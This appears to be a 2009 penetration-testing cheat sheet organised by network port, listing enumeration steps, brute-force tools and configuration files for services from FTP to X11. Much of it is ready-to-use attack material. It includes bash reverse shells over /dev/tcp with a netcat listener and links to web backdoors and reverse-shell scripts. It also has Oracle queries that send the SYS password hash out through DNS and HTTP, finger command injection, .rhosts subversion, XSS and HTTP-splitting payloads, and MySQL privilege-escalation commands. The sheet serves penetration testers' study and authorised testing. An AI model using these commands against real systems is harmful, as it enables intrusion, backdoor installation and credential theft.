6v4QjSyz

1Enumeration
2FTP port 21 open
3Fingerprint server
4telnet ip_address 21 (Banner grab)
5Run command ftp ip_address
6ftp@example.com
7Check for anonymous access
8ftp ip_addressUsername: anonymous OR anonPassword: any@email.com
9Password guessing
10Hydra brute force
11medusa
12Brutus
13Examine configuration files
14ftpusers
15ftp.conf
16proftpd.conf
17MiTM
18pasvagg.pl
19SSH port 22 open
20Fingerprint server
21telnet ip_address 22 (banner grab)
22scanssh
23scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask
24Password guessing
25ssh root@ip_address
26guess-who
27./b -l username -h ip_address -p 22 -2 < password_file_location
28Hydra brute force
29brutessh
30Ruby SSH Bruteforcer
31Examine configuration files
32ssh_config
33sshd_config
34authorized_keys
35ssh_known_hosts
36.shosts
37SSH Client programs
38tunnelier
39winsshd
40putty
41winscp
42Telnet port 23 open
43Fingerprint server
44telnet ip_address
45Common Banner ListOS/BannerSolaris 8/SunOS 5.8Solaris 2.6/SunOS 5.6Solaris 2.4 or 2.5.1/Unix(r) System V Release 4.0 (hostname)SunOS 4.1.x/SunOS Unix (hostname)FreeBSD/FreeBSD/i386 (hostname) (ttyp1)NetBSD/NetBSD/i386 (hostname) (ttyp1)OpenBSD/OpenBSD/i386 (hostname) (ttyp1)Red Hat 8.0/Red Hat Linux release 8.0 (Psyche)Debian 3.0/Debian GNU/Linux 3.0 / hostnameSGI IRIX 6.x/IRIX (hostname)IBM AIX 4.1.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.IBM AIX 4.2.x or 4.3.x/AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.Nokia IPSO/IPSO (hostname) (ttyp0)Cisco IOS/User Access VerificationLivingston ComOS/ComOS - Livingston PortMaster
46telnetfp
47Password Attack
48Common passwords
49Hydra brute force
50Brutus
51telnet -l "-froot" hostname (Solaris 10+)
52Examine configuration files
53/etc/inetd.conf
54/etc/xinetd.d/telnet
55/etc/xinetd.d/stelnet
56Sendmail Port 25 open
57Fingerprint server
58telnet ip_address 25 (banner grab)
59Mail Server Testing
60Enumerate users
61VRFY username (verifies if username exists - enumeration of accounts)
62EXPN username (verifies if username is valid - enumeration of accounts)
63Mail Spoof Test
64HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT
65Mail Relay Test
66HELO anything
67Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>
68Unknown domain - mail from: <user@unknown_domain>
69Domain not present - mail from: <user@localhost>
70Domain not supplied - mail from: <user>
71Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>
72Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>
73Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">
74User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>
75Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>
76Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>
77Examine Configuration Files
78sendmail.cf
79submit.cf
80DNS port 53 open
81Fingerprint server/ service
82host
83host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ] -v verbose format -t (query type) Allows a user to specify a record type i.e. A, NS, or PTR. -a Same as –t ANY. -l Zone transfer (if allowed). -f Save to a specified filename.
84nslookup
85nslookup [ -option ... ] [ host-to-find | - [ server ]]
86dig
87dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ]
88whois-h Use the named host to resolve the query -a Use ARIN to resolve the query -r Use RIPE to resolve the query -p Use APNIC to resolve the query -Q Perform a quick lookup
89DNS Enumeration
90Bile Suite
91perl BiLE.pl [website] [project_name]
92perl BiLE-weigh.pl [website] [input file]
93perl vet-IPrange.pl [input file] [true domain file] [output file] <range>
94perl vet-mx.pl [input file] [true domain file] [output file]
95perl exp-tld.pl [input file] [output file]
96perl jarf-dnsbrute [domain_name] (brutelevel) [file_with_names]
97perl qtrace.pl [ip_address_file] [output_file]
98perl jarf-rev [subnetblock] [nameserver]
99txdns
100txdns -rt -t domain_name
101txdns -x 50 -bb domain_name
102txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt
103Examine Configuration Files
104host.conf
105resolv.conf
106named.conf
107TFTP port 69 open
108TFTP Enumeration
109tftp ip_address PUT local_file
110tftp ip_address GET conf.txt (or other files)
111Solarwinds TFTP server
112tftp – i <IP> GET /etc/passwd (old Solaris)
113TFTP Bruteforcing
114TFTP bruteforcer
115Cisco-Torch
116Finger Port 79 open
117User enumeration
118finger 'a b c d e f g h' @example.com
119finger admin@example.com
120finger user@example.com
121finger 0@example.com
122finger .@example.com
123finger **@example.com
124finger test@example.com
125finger @example.com
126Command execution
127finger "|/bin/id@example.com"
128finger "|/bin/ls -a /@example.com"
129Finger Bounce
130finger user@host@victim
131finger @internal@external
132Web Ports 80, 8080 etc. open
133Fingerprint server
134Telnet ip_address port
135Firefox plugins
136All
137firecat
138Specific
139add n edit cookies
140asnumber
141header spy
142live http headers
143shazou
144web developer
145Crawl website
146lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source
147httprint
148Metagoofil
149metagoofil.py -d [domain] -l [no. of] -f [type] -o results.html
150Web Directory enumeration
151Nikto
152nikto [-h target] [options]
153DirBuster
154Wikto
155Goolag Scanner
156Vulnerability Assessment
157Manual Tests
158Default Passwords
159Install Backdoors
160ASP
161http://packetstormsecurity.org/UNIX/penetration/aspxshell.aspx.txt
162Assorted
163http://michaeldaw.org/projects/web-backdoor-compilation/
164http://open-labs.org/hacker_webkit02.tar.gz
165Perl
166http://home.arcor.de/mschierlm/test/pmsh.pl
167http://pentestmonkey.net/tools/perl-reverse-shell/
168http://freeworld.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz
169PHP
170http://php.spb.ru/remview/
171http://pentestmonkey.net/tools/php-reverse-shell/
172http://pentestmonkey.net/tools/php-findsock-shell/
173Python
174http://matahari.sourceforge.net/
175TCL
176http://www.irmplc.com/download_pdf.php?src=Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf&force=yes
177Bash Connect Back Shell
178GnuCitizen
179Atttack Box: nc -l -p Port -vvv
180Victim: $ exec 5<>/dev/tcp/IP_Address/Port
181Victim: $ cat <&5 | while read line; do $line 2>&5 >&5; done
182Neohapsis
183Atttack Box: nc -l -p Port -vvv
184Victim: $ exec 0</dev/tcp/IP_Address/Port # First we copy our connection over stdin
185Victim: $ exec 1>&0 # Next we copy stdin to stdout
186Victim: $ exec 2>&0 # And finally stdin to stderr
187Victim: $ exec /bin/sh 0</dev/tcp/IP_Address/Port 1>&0 2>&0
188Method Testing
189nc IP_Adress Port
190HEAD / HTTP/1.0
191OPTIONS / HTTP/1.0
192PROPFIND / HTTP/1.0
193TRACE / HTTP/1.1
194PUT http://Target_URL/FILE_NAME
195POST http://Target_URL/FILE_NAME HTTP/1.x
196Upload Files
197curl
198curl -u <username:password> -T file_to_upload <Target_URL>
199curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" <Target_URL>
200put.pl
201put.pl -h target -r /remote_file_name -f local_file_name
202webdav
203cadaver
204View Page Source
205Hidden Values
206Developer Remarks
207Extraneous Code
208Passwords!
209Input Validation Checks
210NULL or null
211Possible error messages returned.
212' , " , ; , <!
213Breaks an SQL string or query; used for SQL, XPath and XML Injection tests.
214– , = , + , "
215Used to craft SQL Injection queries.
216‘ , &, ! , ¦ , < , >
217Used to find command execution vulnerabilities.
218"><script>alert(1)</script>
219Basic Cross-Site Scripting Checks.
220%0d%0a
221Carriage Return (%0d) Line Feed (%0a)
222HTTP Splitting
223language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
224i.e. Content-Length= 0 HTTP/1.1 200 OK Content-Type=text/html Content-Length=47<html>blah</html>
225Cache Poisoning
226language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20304%20Not%20Modified%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>
227%7f , %ff
228byte-length overflows; maximum 7- and 8-bit values.
229-1, other
230Integer and underflow vulnerabilities.
231%n , %x , %s
232Testing for format string vulnerabilities.
233../
234Directory Traversal Vulnerabilities.
235% , _, *
236Wildcard characters can sometimes present DoS issues or information disclosure.
237Ax1024+
238Overflow vulnerabilities.
239Automated table and column iteration
240orderby.py
241./orderby.py www.site.com/index.php?id=
242d3sqlfuzz.py
243./d3sqlfuzz.py www.site.com/index.php?id=-1+UNION+ALL+SELECT+1,COLUMN,3+FROM+TABLE--
244Vulnerability Scanners
245Acunetix
246Grendelscan
247NStealth
248Obiwan III
249w3af
250Specific Applications/ Server Tools
251Domino
252dominoaudit
253dominoaudit.pl [options] -h <IP>
254Joomla
255cms_few
256./cms.py <site-name>
257joomsq
258./joomsq.py <IP>
259joomlascan
260./joomlascan.py <site> <options>  [options i.e. -p/-proxy <host:port> : Add proxy support -404 : Don't show 404 responses]
261joomscan
262./joomscan.py -u "www.site.com/joomladir/" -o site.txt -p 127.0.0.1:80
263jscan
264jscan.pl -f hostname
265(shell.txt required)
266aspaudit.pl
267asp-audit.pl http://target/app/filename.aspx (options i.e. -bf)
268Vbulletin
269vbscan.py
270vbscan.py <host> <port> -v
271vbscan.py -update
272ZyXel
273zyxel-bf.sh
274snmpwalk
275snmpwalk -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2
276snmpget
277snmpget -v2c -c public IP_Address 1.3.6.1.4.1.890.1.2.1.2.6.0
278Proxy Testing
279Burpsuite
280Crowbar
281Interceptor
282Paros
283Requester Raw
284Suru
285WebScarab
286Examine configuration files
287Generic
288Examine httpd.conf/ windows config files
289JBoss
290JMX Console http://<IP>:8080/jmxconcole/
291War File
292Joomla
293configuration.php
294diagnostics.php
295joomla.inc.php
296config.inc.php
297Mambo
298configuration.php
299config.inc.php
300Wordpress
301setup-config.php
302wp-config.php
303ZyXel
304/WAN.html (contains PPPoE ISP password)
305/WLAN_General.html and /WLAN.html (contains WEP key)
306/rpDyDNS.html (contains DDNS credentials)
307/Firewall_DefPolicy.html (Firewall)
308/CF_Keyword.html (Content Filter)
309/RemMagWWW.html (Remote MGMT)
310/rpSysAdmin.html (System)
311/LAN_IP.html (LAN)
312/NAT_General.html (NAT)
313/ViewLog.html (Logs)
314/rpFWUpload.html (Tools)
315/DiagGeneral.html (Diagnostic)
316/RemMagSNMP.html (SNMP Passwords)
317/LAN_ClientList.html (Current DHCP Leases)
318Config Backups
319/RestoreCfg.html
320/BackupCfg.html
321Note: - The above config files are not human readable and the following tool is required to breakout possible admin credentials and other important settings
322ZyXEL Config Reader
323Examine web server logs
324c:\winnt\system32\Logfiles\W3SVC1
325awk -F " " '{print $3,$11} filename | sort | uniq
326References
327White Papers
328Cross Site Request Forgery: An Introduction to a Common Web Application Weakness
329Attacking Web Service Security: Message Oriented Madness, XML Worms and Web Service Security Sanity
330Blind Security Testing - An Evolutionary Approach
331Command Injection in XML Signatures and Encryption
332Input Validation Cheat Sheet
333SQL Injection Cheat Sheet
334Books
335Hacking Exposed Web 2.0
336Hacking Exposed Web Applications
337The Web Application Hacker's Handbook
338Exploit Frameworks
339Brute-force Tools
340Acunetix
341Metasploit
342w3af
343Portmapper port 111 open
344rpcdump.py
345rpcdump.py username:password@IP_Address port/protocol (i.e. 80/HTTP)
346rpcinfo
347rpcinfo [options] IP_Address
348NTP Port 123 open
349NTP Enumeration
350ntpdc -c monlist IP_ADDRESS
351ntpdc -c sysinfo IP_ADDRESS
352ntpq
353host
354hostname
355ntpversion
356readlist
357version
358Examine configuration files
359ntp.conf
360NetBIOS Ports 135-139,445 open
361NetBIOS enumeration
362Enum
363enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>
364Null Session
365net use \\192.168.1.1\ipc$ "" /u:""
366net view \\ip_address
367Dumpsec
368Smbclient
369smbclient -L //server/share password options
370Superscan
371Enumeration tab.
372user2sid/sid2user
373Winfo
374NetBIOS brute force
375Hydra
376Brutus
377Cain & Abel
378getacct
379NAT (NetBIOS Auditing Tool)
380Examine Configuration Files
381Smb.conf
382lmhosts
383SNMP port 161 open
384Default Community Strings
385public
386private
387cisco
388cable-docsis
389ILMI
390MIB enumeration
391Windows NT
392.1.3.6.1.2.1.1.5 Hostnames
393.1.3.6.1.4.1.77.1.4.2 Domain Name
394.1.3.6.1.4.1.77.1.2.25 Usernames
395.1.3.6.1.4.1.77.1.2.3.1.1 Running Services
396.1.3.6.1.4.1.77.1.2.27 Share Information
397Solarwinds MIB walk
398Getif
399snmpwalk
400snmpwalk -v <Version> -c <Community string> <IP>
401Snscan
402Applications
403ZyXel
404snmpget -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2.6.0
405snmpwalk -v2c -c <Community String> <IP> 1.3.6.1.4.1.890.1.2.1.2
406SNMP Bruteforce
407onesixtyone
408onesixytone -c SNMP.wordlist <IP>
409cat
410./cat -h <IP> -w SNMP.wordlist
411Solarwinds SNMP Brute Force
412ADMsnmp
413Examine SNMP Configuration files
414snmp.conf
415snmpd.conf
416snmp-config.xml
417LDAP Port 389 Open
418ldap enumeration
419ldapminer
420ldapminer -h ip_address -p port (not required if default) -d
421luma
422Gui based tool
423ldp
424Gui based tool
425openldap
426ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]
427ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
428ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]
429ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]
430ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]
431ldap brute force
432bf_ldap
433bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)
434K0ldS
435LDAP_Brute.pl
436Examine Configuration Files
437General
438containers.ldif
439ldap.cfg
440ldap.conf
441ldap.xml
442ldap-config.xml
443ldap-realm.xml
444slapd.conf
445IBM SecureWay V3 server
446V3.sas.oc
447Microsoft Active Directory server
448msadClassesAttrs.ldif
449Netscape Directory Server 4
450nsslapd.sas_at.conf
451nsslapd.sas_oc.conf
452OpenLDAP directory server
453slapd.sas_at.conf
454slapd.sas_oc.conf
455Sun ONE Directory Server 5.1
45675sas.ldif
457PPTP/L2TP/VPN port 500/1723 open
458Enumeration
459ike-scan
460ike-probe
461Brute-Force
462ike-crack
463Reference Material
464PSK cracking paper
465SecurityFocus Infocus
466Scanning a VPN Implementation
467Modbus port 502 open
468modscan
469rlogin port 513 open
470Rlogin Enumeration
471Find the files
472find / -name .rhosts
473locate .rhosts
474Examine Files
475cat .rhosts
476Manual Login
477rlogin hostname -l username
478rlogin <IP>
479Subvert the files
480echo ++ > .rhosts
481Rlogin Brute force
482Hydra
483rsh port 514 open
484Rsh Enumeration
485rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command
486Rsh Brute Force
487rsh-grind
488Hydra
489medusa
490SQL Server Port 1433 1434 open
491SQL Enumeration
492piggy
493SQLPing
494sqlping ip_address/hostname
495SQLPing2
496SQLPing3
497SQLpoke
498SQL Recon
499SQLver
500SQL Brute Force
501SQLPAT
502sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack
503sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack
504SQL Dict
505SQLAT
506Hydra
507SQLlhf
508ForceSQL
509Citrix port 1494 open
510Citrix Enumeration
511Default Domain
512Published Applications
513./citrix-pa-scan {IP_address/file | - | random} [timeout]
514citrix-pa-proxy.pl IP_to_proxy_to [Local_IP]
515Citrix Brute Force
516bforce.js
517connect.js
518Citrix Brute-forcer
519Reference Material
520Hacking Citrix - the legitimate backdoor
521Hacking Citrix - the forceful way
522Oracle Port 1521 Open
523Oracle Enumeration
524oracsec
525Repscan
526Sidguess
527Scuba
528DNS/HTTP Enumeration
529SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE US ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL
530SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='SYS')) from dual;
531WinSID
532Oracle default password list
533TNSVer
534tnsver host [port]
535TCP Scan
536Oracle TNSLSNR
537Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]
538TNSCmd
539perl tnscmd.pl -h ip_address
540perl tnscmd.pl version -h ip_address
541perl tnscmd.pl status -h ip_address
542perl tnscmd.pl -h ip_address --cmdsize (40 - 200)
543LSNrCheck
544Oracle Security Check (needs credentials)
545OAT
546sh opwg.sh -s ip_address
547opwg.bat -s ip_address
548sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID
549OScanner
550sh oscanner.sh -s ip_address
551oscanner.exe -s ip_address
552sh reportviewer.sh oscanner_saved_file.xml
553reportviewer.exe oscanner_saved_file.xml
554NGS Squirrel for Oracle
555Service Register
556Service-register.exe ip_address
557PLSQL Scanner 2008
558Oracle Brute Force
559OAK
560ora-getsid hostname port sid_dictionary_list
561ora-auth-alter-session host port sid username password sql
562ora-brutesid host port start
563ora-pwdbrute host port sid username password-file
564ora-userenum host port sid userlistfile
565ora-ver -e (-f -l -a) host port
566breakable (Targets Application Server Port)
567breakable.exe host url [port] [v]host ip_address of the Oracle Portal Serverurl PATH_INFO i.e. /pls/orassoport TCP port Oracle Portal Server is serving pages fromv verbose
568SQLInjector (Targets Application Server Port)
569sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL
570sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle
571Check Password
572orabf
573orabf [hash]:[username] [options]
574thc-orakel
575Cracker
576Client
577Crypto
578DBVisualisor
579Sql scripts from pentest.co.uk
580Manual sql input of previously reported vulnerabilties
581Oracle Reference Material
582Understanding SQL Injection
583SQL Injection walkthrough
584SQL Injection by example
585Advanced SQL Injection in Oracle databases
586Blind SQL Injection
587SQL Cheatsheets
588http://ha.ckers.org/sqlinjection
589http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
590http://www.0x000000.com/?i=14
591http://pentestmonkey.net/ 
592NFS Port 2049 open
593NFS Enumeration
594showmount -e hostname/ip_address
595mount -t nfs ip_address:/directory_found_exported /local_mount_point
596NFS Brute Force
597Interact with NFS share and try to add/delete
598Exploit and Confuse Unix
599Examine Configuration Files
600/etc/exports
601/etc/lib/nfs/xtab
602Compaq/HP Insight Manager Port 2301,2381open
603HP Enumeration
604Authentication Method
605Host OS Authentication
606Default Authentication
607Default Passwords
608Wikto
609Nstealth
610HP Bruteforce
611Hydra
612Acunetix
613Examine Configuration Files
614path.properties
615mx.log
616CLIClientConfig.cfg
617database.props
618pg_hba.conf
619jboss-service.xml
620.namazurc
621MySQL port 3306 open
622Enumeration
623nmap -A -n -p3306 <IP Address>
624nmap -A -n -PN --script:ALL -p3306 <IP Address>
625telnet IP_Address 3306
626use test; select * from test;
627To check for other DB's -- show databases
628Administration
629MySQL Network Scanner
630MySQL GUI Tools
631mysqlshow
632mysqlbinlog
633Manual Checks
634Default usernames and passwords
635username: root password:
636testing
637mysql -h <Hostname> -u root
638mysql -h <Hostname> -u root
639mysql -h <Hostname> -u root@localhost
640mysql -h <Hostname>
641mysql -h <Hostname> -u ""@localhost
642Configuration Files
643Operating System
644windows
645config.ini
646my.ini
647windows\my.ini
648winnt\my.ini
649<InstDir>/mysql/data/
650unix
651my.cnf
652/etc/my.cnf
653/etc/mysql/my.cnf
654/var/lib/mysql/my.cnf
655~/.my.cnf
656/etc/my.cnf
657Command History
658~/.mysql.history
659Log Files
660connections.log
661update.log
662common.log
663To run many sql commands at once -- mysql -u username -p < manycommands.sql
664MySQL data directory (Location specified in my.cnf)
665Parent dir = data directory
666mysql
667test
668information_schema (Key information in MySQL)
669Complete table list -- select table_schema,table_name from tables;
670Exact privileges -- select grantee, table_schema, privilege_type FROM schema_privileges;
671File privileges -- select user,file_priv from mysql.user where user='root';
672Version -- select version();
673Load a specific file -- SELECT LOAD_FILE('FILENAME');
674SSL Check
675mysql> show variables like 'have_openssl';
676If there's no rows returned at all it means the the distro itself doesn't support SSL connections and probably needs to be recompiled. If its disabled it means that the service just wasn't started with ssl and can be easily fixed.
677Privilege Escalation
678Current Level of access
679mysql>select user();
680mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';
681Access passwords
682mysql> use mysql
683mysql> select user,password from user;
684Create a new user and grant him privileges
685mysql>create user test identified by 'test';
686mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
687Break into a shell
688mysql> \! cat /etc/passwd
689mysql> \! bash
690SQL injection
691mysql-miner.pl
692mysql-miner.pl http://target/ expected_string database
693http://www.imperva.com/resources/adc/sql_injection_signatures_evasion.html
694http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/
695References.
696Design Weaknesses
697MySQL running as root
698Exposed publicly on Internet
699http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql
700http://search.securityfocus.com/swsearch?sbm=%2F&metaname=alldoc&query=mysql&x=0&y=0
701RDesktop port 3389 open
702Rdesktop Enumeration
703Remote Desktop Connection
704Rdestop Bruteforce
705TSGrinder
706tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
707Tscrack
708Sybase Port 5000+ open
709Sybase Enumeration
710sybase-version ip_address from NGS
711Sybase Vulnerability Assessment
712Use DBVisualiser
713Sybase Security checksheet
714Copy output into excel spreadsheet
715Evaluate mis-configured parameters
716Manual sql input of previously reported vulnerabilties
717Advanced SQL Injection in SQL Server
718More Advanced SQL Injection
719NGS Squirrel for Sybase
720SIP Port 5060 open
721SIP Enumeration
722netcat
723nc IP_Address Port
724sipflanker
725python sipflanker.py 192.168.1-254
726Sipscan
727smap
728smap IP_Address/Subnet_Mask
729smap -o IP_Address/Subnet_Mask
730smap -l IP_Address
731SIP Packet Crafting etc.
732sipsak
733Tracing paths: - sipsak -T -s sip:usernaem@domain
734Options request:- sipsak -vv -s sip:username@domain
735Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
736siprogue
737SIP Vulnerability Scanning/ Brute Force
738tftp bruteforcer
739Default dictionary file
740./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes
741VoIPaudit
742SiVuS
743Examine Configuration Files
744SIPDefault.cnf
745asterisk.conf
746sip.conf
747phone.conf
748sip_notify.conf
749<Ethernet address>.cfg
750000000000000.cfg
751phone1.cfg
752sip.cfg etc. etc.
753VNC port 5900^ open
754VNC Enumeration
755Scans
7565900^ for direct access.5800 for HTTP access.
757VNC Brute Force
758Password Attacks
759Remote
760Password Guess
761vncrack
762Password Crack
763vncrack
764Packet Capture
765Phosshttp://www.phenoelit.de/phoss
766Local
767Registry Locations
768\HKEY_CURRENT_USER\Software\ORL\WinVNC3
769\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
770Decryption Key
7710x238210763578887
772Exmine Configuration Files
773.vnc
774/etc/vnc/config
775$HOME/.vnc/config
776/etc/sysconfig/vncservers
777/etc/vnc.conf
778X11 port 6000^ open
779X11 Enumeration
780List open windows
781Authentication Method
782Xauth
783Xhost
784X11 Exploitation
785xwd
786xwd -display 192.168.0.1:0 -root -out 192.168.0.1.xpm
787Keystrokes
788Received
789Transmitted
790Screenshots
791xhost +
792Examine Configuration Files
793/etc/Xn.hosts
794/usr/lib/X11/xdm
795Search through all files for the command "xhost +" or "/usr/bin/X11/xhost +"
796/usr/lib/X11/xdm/xsession
797/usr/lib/X11/xdm/xsession-remote
798/usr/lib/X11/xdm/xsession.0
799/usr/lib/X11/xdm/xdm-config
800DisplayManager*authorize:on
801Tor Port 9001, 9030 open
802Tor Node Checker
803Ip Pages
804Kewlio.net
805nmap NSE script
806Jet Direct 9100 open
807hijetta
8080DaySecurity.com © 2009. All Rights Reserved